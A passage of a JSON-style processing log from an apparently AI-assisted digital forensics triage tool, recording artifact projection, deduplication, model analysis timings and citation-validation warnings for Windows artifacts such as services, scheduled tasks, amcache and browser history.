  "artifact_key": "network_history",
  "projection_columns": [
    "created",
    "last_connected",
    "profile_name",
    "description",
    "dns_suffix",
    "first_network",
    "default_gateway_mac",
    "signature",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/network_history.csv"
}
2026-06-13T06:46:36.297Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed_deduplicated/c2adc4df-9f95-4026-a12d-390fdd04d28e__network_history.csv",
  "annotated_rows": 3,
  "artifact_key": "network_history",
  "removed_records": 3,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/c2adc4df-9f95-4026-a12d-390fdd04d28e/parsed/network_history.csv",
  "variant_columns": [
    "created",
    "last_connected",
    "first_network"
  ]
}
2026-06-13T06:49:22.434Z analysis_completed
{
  "artifact_key": "network_history",
  "artifact_name": "Network History",
  "duration_seconds": 166.142661,
  "status": "success",
  "token_count": 501
}
2026-06-13T06:49:22.438Z citation_validation
{
  "artifact_key": "network_history",
  "citation_counts": {
    "columns": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "last_connected",
      "match_status": "exact",
      "matched_header": "last_connected"
    },
    {
      "cited": "created",
      "match_status": "exact",
      "matched_header": "created"
    },
    {
      "cited": "shieldbase.lan",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "default_gateway_mac",
      "match_status": "exact",
      "matched_header": "default_gateway_mac"
    },
    {
      "cited": "a2c6c7000702",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 2,
  "warnings": [
    "Note: AI cited column 'shieldbase.lan' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'a2c6c7000702' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:49:22.443Z analysis_started
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:49:22.447Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__runkeys.csv",
  "artifact_key": "runkeys",
  "projection_columns": [
    "ts",
    "name",
    "command",
    "key",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/runkeys.csv"
}
2026-06-13T06:49:22.450Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__runkeys.csv",
  "annotated_rows": 2,
  "artifact_key": "runkeys",
  "removed_records": 2,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/runkeys.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T06:49:54.723Z analysis_completed
{
  "artifact_key": "runkeys",
  "artifact_name": "Run/RunOnce Keys",
  "duration_seconds": 32.276238,
  "status": "success",
  "token_count": 461
}
2026-06-13T06:49:54.728Z citation_validation
{
  "artifact_key": "runkeys",
  "citation_counts": {
    "columns": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 2,
      "skipped": 0,
      "total": 2
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Run",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "RunOnce",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "RunOnceEx",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "username",
      "match_status": "exact",
      "matched_header": "username"
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'Run' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'RunOnce' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'RunOnceEx' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:49:54.732Z analysis_started
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:49:55.240Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__tasks.csv",
  "artifact_key": "tasks",
  "projection_columns": [
    "task_path",
    "uri",
    "date",
    "last_run_date",
    "author",
    "task_name",
    "display_name",
    "enabled",
    "hidden",
    "user_id",
    "run_as",
    "logon_type",
    "group_id",
    "run_level",
    "action_type",
    "action",
    "command",
    "arguments",
    "args",
    "working_directory",
    "start_in",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/tasks.csv"
}
2026-06-13T06:49:55.251Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__tasks.csv",
  "annotated_rows": 15,
  "artifact_key": "tasks",
  "removed_records": 35,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/tasks.csv",
  "variant_columns": [
    "date",
    "last_run_date",
    "arguments"
  ]
}
2026-06-13T06:51:58.589Z analysis_completed
{
  "artifact_key": "tasks",
  "artifact_name": "Scheduled Tasks",
  "duration_seconds": 123.8525,
  "status": "success",
  "token_count": 958
}
2026-06-13T06:51:58.595Z citation_validation
{
  "artifact_key": "tasks",
  "citation_counts": {
    "columns": {
      "checked": 20,
      "skipped": 0,
      "total": 20
    },
    "row_refs": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "timestamps": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "task_path",
      "match_status": "exact",
      "matched_header": "task_path"
    },
    {
      "cited": "author",
      "match_status": "exact",
      "matched_header": "author"
    },
    {
      "cited": "user_id",
      "match_status": "exact",
      "matched_header": "user_id"
    },
    {
      "cited": "System",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "run_level",
      "match_status": "exact",
      "matched_header": "run_level"
    },
    {
      "cited": "HighestAvailable",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "logon_type",
      "match_status": "exact",
      "matched_header": "logon_type"
    },
    {
      "cited": "InteractiveTokenOrPassword",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "command",
      "match_status": "exact",
      "matched_header": "command"
    },
    {
      "cited": "arguments",
      "match_status": "exact",
      "matched_header": "arguments"
    }
  ],
  "warning_count": 6,
  "warnings": [
    "Note: AI cited column 'System' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'HighestAvailable' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'InteractiveTokenOrPassword' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'True' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'vssadmin.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'sc.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:51:58.598Z analysis_started
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:51:58.655Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__services.csv",
  "artifact_key": "services",
  "projection_columns": [
    "ts",
    "name",
    "displayname",
    "description",
    "servicedll",
    "imagepath",
    "imagepath_args",
    "objectname",
    "start",
    "type",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/services.csv"
}
2026-06-13T06:51:58.658Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__services.csv",
  "annotated_rows": 406,
  "artifact_key": "services",
  "removed_records": 1210,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/services.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T06:55:51.475Z analysis_completed
{
  "artifact_key": "services",
  "artifact_name": "Services",
  "duration_seconds": 232.874349,
  "status": "success",
  "token_count": 1466
}
2026-06-13T06:55:51.484Z citation_validation
{
  "artifact_key": "services",
  "citation_counts": {
    "columns": {
      "checked": 9,
      "skipped": 0,
      "total": 9
    },
    "row_refs": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    },
    "timestamps": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "LocalSystem",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Program.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Microsoft.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Advanced.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "mnemosyne",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Mnemosyne.sys",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "msadvapi2_32.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "msadvapi2_64.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "subject_srv.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 9,
  "warnings": [
    "Note: AI cited column 'LocalSystem' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Program.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Microsoft.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Advanced.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'mnemosyne' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Mnemosyne.sys' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi2_32.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi2_64.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'subject_srv.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T06:55:51.487Z analysis_started
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:55:51.625Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__shimcache.csv",
  "artifact_key": "shimcache",
  "projection_columns": [
    "last_modified",
    "index",
    "name",
    "path",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/shimcache.csv"
}
2026-06-13T06:55:51.628Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__shimcache.csv",
  "annotated_rows": 277,
  "artifact_key": "shimcache",
  "removed_records": 831,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/shimcache.csv",
  "variant_columns": [
    "last_modified",
    "index"
  ]
}
2026-06-13T06:57:42.154Z analysis_completed
{
  "artifact_key": "shimcache",
  "artifact_name": "Shimcache",
  "duration_seconds": 110.66333,
  "status": "success",
  "token_count": 1159
}
2026-06-13T06:57:42.161Z citation_validation
{
  "artifact_key": "shimcache",
  "citation_counts": {
    "columns": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "row_refs": {
      "checked": 10,
      "skipped": 0,
      "total": 10
    },
    "timestamps": {
      "checked": 11,
      "skipped": 0,
      "total": 11
    }
  },
  "citation_validation": "warnings_found",
  "warning_count": 1,
  "warnings": [
    "Note: AI cited timestamp 2026-06-13 which could not be verified in the source data."
  ]
}
2026-06-13T06:57:42.164Z analysis_started
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T06:57:42.212Z artifact_ai_projection_warning
{
  "artifact_key": "amcache",
  "available_columns": [
    "hostname",
    "domain",
    "last_modified_timestamp",
    "last_modified_store_timestamp",
    "link_timestamp",
    "created_timestamp",
    "mtime_regf",
    "reference",
    "path",
    "language_code",
    "digest",
    "program_id",
    "pe_header_checksum",
    "pe_size_of_image",
    "product_name",
    "company_name",
    "file_size",
    "_source",
    "_classification",
    "_generated",
    "_version",
    "install_date",
    "name",
    "version",
    "publisher",
    "entry_type",
    "uninstall_key",
    "product_code",
    "package_code",
    "msi_package_code",
    "msi_package_code2"
  ],
  "missing_columns": [
    "ts",
    "size",
    "driver_name",
    "service",
    "driver_signed",
    "is_pefile",
    "is_oscomponent"
  ]
}
2026-06-13T06:57:42.257Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__amcache.csv",
  "artifact_key": "amcache",
  "projection_columns": [
    "install_date",
    "last_modified_timestamp",
    "created_timestamp",
    "path",
    "name",
    "publisher",
    "version",
    "product_name",
    "company_name",
    "digest",
    "file_size",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/amcache.csv"
}
2026-06-13T06:57:42.261Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__amcache.csv",
  "annotated_rows": 30,
  "artifact_key": "amcache",
  "removed_records": 31,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/amcache.csv",
  "variant_columns": [
    "install_date",
    "last_modified_timestamp",
    "created_timestamp"
  ]
}
2026-06-13T07:00:04.130Z analysis_completed
{
  "artifact_key": "amcache",
  "artifact_name": "Amcache",
  "duration_seconds": 141.962507,
  "status": "success",
  "token_count": 1479
}
2026-06-13T07:00:04.142Z citation_validation
{
  "artifact_key": "amcache",
  "citation_counts": {
    "columns": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    },
    "row_refs": {
      "checked": 11,
      "skipped": 0,
      "total": 11
    },
    "timestamps": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "f18a9425d17da9067304409ec0a8b73e35279c85",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "msadvapi_32",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "msadvapi_64",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "subject_srv.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "d4206fc233e3a708b54439e1c2bc12b48a755ed1",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "msadvapi2_32.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "msadvapi2_64.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 9,
  "warnings": [
    "Note: AI cited timestamp 2018-09-07 which could not be verified in the source data.",
    "Note: AI cited timestamp 2026-06-13 which could not be verified in the source data.",
    "Note: AI cited column 'f18a9425d17da9067304409ec0a8b73e35279c85' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi_32' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi_64' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'subject_srv.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'd4206fc233e3a708b54439e1c2bc12b48a755ed1' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi2_32.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'msadvapi2_64.exe' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:00:04.145Z analysis_started
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:00:04.152Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__userassist.csv",
  "artifact_key": "userassist",
  "projection_columns": [
    "ts",
    "path",
    "number_of_executions",
    "application_focus_count",
    "application_focus_duration",
    "username",
    "_dedup_comment"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/userassist.csv"
}
2026-06-13T07:00:04.155Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__userassist.csv",
  "annotated_rows": 5,
  "artifact_key": "userassist",
  "removed_records": 7,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/userassist.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T07:02:18.326Z analysis_completed
{
  "artifact_key": "userassist",
  "artifact_name": "UserAssist",
  "duration_seconds": 134.177848,
  "status": "success",
  "token_count": 1013
}
2026-06-13T07:02:18.332Z citation_validation
{
  "artifact_key": "userassist",
  "citation_counts": {
    "columns": {
      "checked": 3,
      "skipped": 0,
      "total": 3
    },
    "row_refs": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    },
    "timestamps": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "ri.exe",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "Microsoft.Windows.RemoteDesktop",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 3,
  "warnings": [
    "Note: AI cited column 'ri.exe' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'Microsoft.Windows.RemoteDesktop' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:02:18.335Z analysis_started
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:02:18.340Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__recyclebin.csv",
  "artifact_key": "recyclebin",
  "projection_columns": [
    "ts",
    "path",
    "deleted_path",
    "filesize",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/recyclebin.csv"
}
2026-06-13T07:02:18.344Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__recyclebin.csv",
  "annotated_rows": 0,
  "artifact_key": "recyclebin",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/recyclebin.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T07:04:48.649Z analysis_completed
{
  "artifact_key": "recyclebin",
  "artifact_name": "Recycle Bin",
  "duration_seconds": 150.31057,
  "status": "success",
  "token_count": 945
}
2026-06-13T07:04:48.653Z citation_validation
{
  "artifact_key": "recyclebin",
  "citation_counts": {
    "columns": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    },
    "row_refs": {
      "checked": 1,
      "skipped": 0,
      "total": 1
    },
    "timestamps": {
      "checked": 4,
      "skipped": 0,
      "total": 4
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "Administrator",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "private_keys",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "certs",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "certificate_requests",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "puppet",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "ruby",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "vss39",
      "match_status": "unverifiable",
      "matched_header": ""
    }
  ],
  "warning_count": 7,
  "warnings": [
    "Note: AI cited column 'Administrator' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'private_keys' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'certs' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'certificate_requests' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'puppet' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'ruby' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'vss39' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:04:48.656Z analysis_started
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:04:48.664Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__browser.history.csv",
  "artifact_key": "browser.history",
  "projection_columns": [
    "ts",
    "browser",
    "url",
    "title",
    "host",
    "visit_type",
    "visit_count",
    "typed",
    "hidden",
    "from_url",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/browser.history.csv"
}
2026-06-13T07:04:48.667Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__browser.history.csv",
  "annotated_rows": 0,
  "artifact_key": "browser.history",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/browser.history.csv",
  "variant_columns": [
    "ts"
  ]
}
2026-06-13T07:08:35.312Z analysis_completed
{
  "artifact_key": "browser.history",
  "artifact_name": "Browser History",
  "duration_seconds": 226.652696,
  "status": "success",
  "token_count": 935
}
2026-06-13T07:08:35.316Z citation_validation
{
  "artifact_key": "browser.history",
  "citation_counts": {
    "columns": {
      "checked": 6,
      "skipped": 0,
      "total": 6
    },
    "row_refs": {
      "checked": 0,
      "skipped": 0,
      "total": 0
    },
    "timestamps": {
      "checked": 8,
      "skipped": 0,
      "total": 8
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "spsql",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "row_ref",
      "match_status": "exact",
      "matched_header": "row_ref"
    },
    {
      "cited": "administrator.shieldbase",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "from_url",
      "match_status": "exact",
      "matched_header": "from_url"
    },
    {
      "cited": "typed",
      "match_status": "exact",
      "matched_header": "typed"
    },
    {
      "cited": "hidden",
      "match_status": "exact",
      "matched_header": "hidden"
    }
  ],
  "warning_count": 2,
  "warnings": [
    "Note: AI cited column 'spsql' which does not match any column in the source data; citation is unverifiable.",
    "Note: AI cited column 'administrator.shieldbase' which does not match any column in the source data; citation is unverifiable."
  ]
}
2026-06-13T07:08:35.319Z analysis_started
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "model": "kimi-k2.6",
  "provider": "kimi"
}
2026-06-13T07:08:35.324Z artifact_ai_projection
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__browser.downloads.csv",
  "artifact_key": "browser.downloads",
  "projection_columns": [
    "ts_start",
    "ts_end",
    "browser",
    "path",
    "url",
    "size",
    "state",
    "username"
  ],
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/browser.downloads.csv"
}
2026-06-13T07:08:35.327Z artifact_deduplicated
{
  "analysis_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed_deduplicated/66190324-1efb-42d2-b2c4-316e91c91631__browser.downloads.csv",
  "annotated_rows": 0,
  "artifact_key": "browser.downloads",
  "removed_records": 0,
  "source_csv": "/home/sansforensics/Desktop/AIFT/cases/3bc3102d-8474-4ee5-8b85-9c4ae7ec0b96/images/66190324-1efb-42d2-b2c4-316e91c91631/parsed/browser.downloads.csv",
  "variant_columns": [
    "ts_start",
    "ts_end"
  ]
}
2026-06-13T07:09:53.324Z analysis_completed
{
  "artifact_key": "browser.downloads",
  "artifact_name": "Browser Downloads",
  "duration_seconds": 78.002068,
  "status": "success",
  "token_count": 1153
}
2026-06-13T07:09:53.329Z citation_validation
{
  "artifact_key": "browser.downloads",
  "citation_counts": {
    "columns": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    },
    "row_refs": {
      "checked": 5,
      "skipped": 0,
      "total": 5
    },
    "timestamps": {
      "checked": 7,
      "skipped": 0,
      "total": 7
    }
  },
  "citation_validation": "warnings_found",
  "column_match_results": [
    {
      "cited": "administrator.shieldbase",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "rsydow",
      "match_status": "unverifiable",
      "matched_header": ""
    },
    {
      "cited": "iexplore",
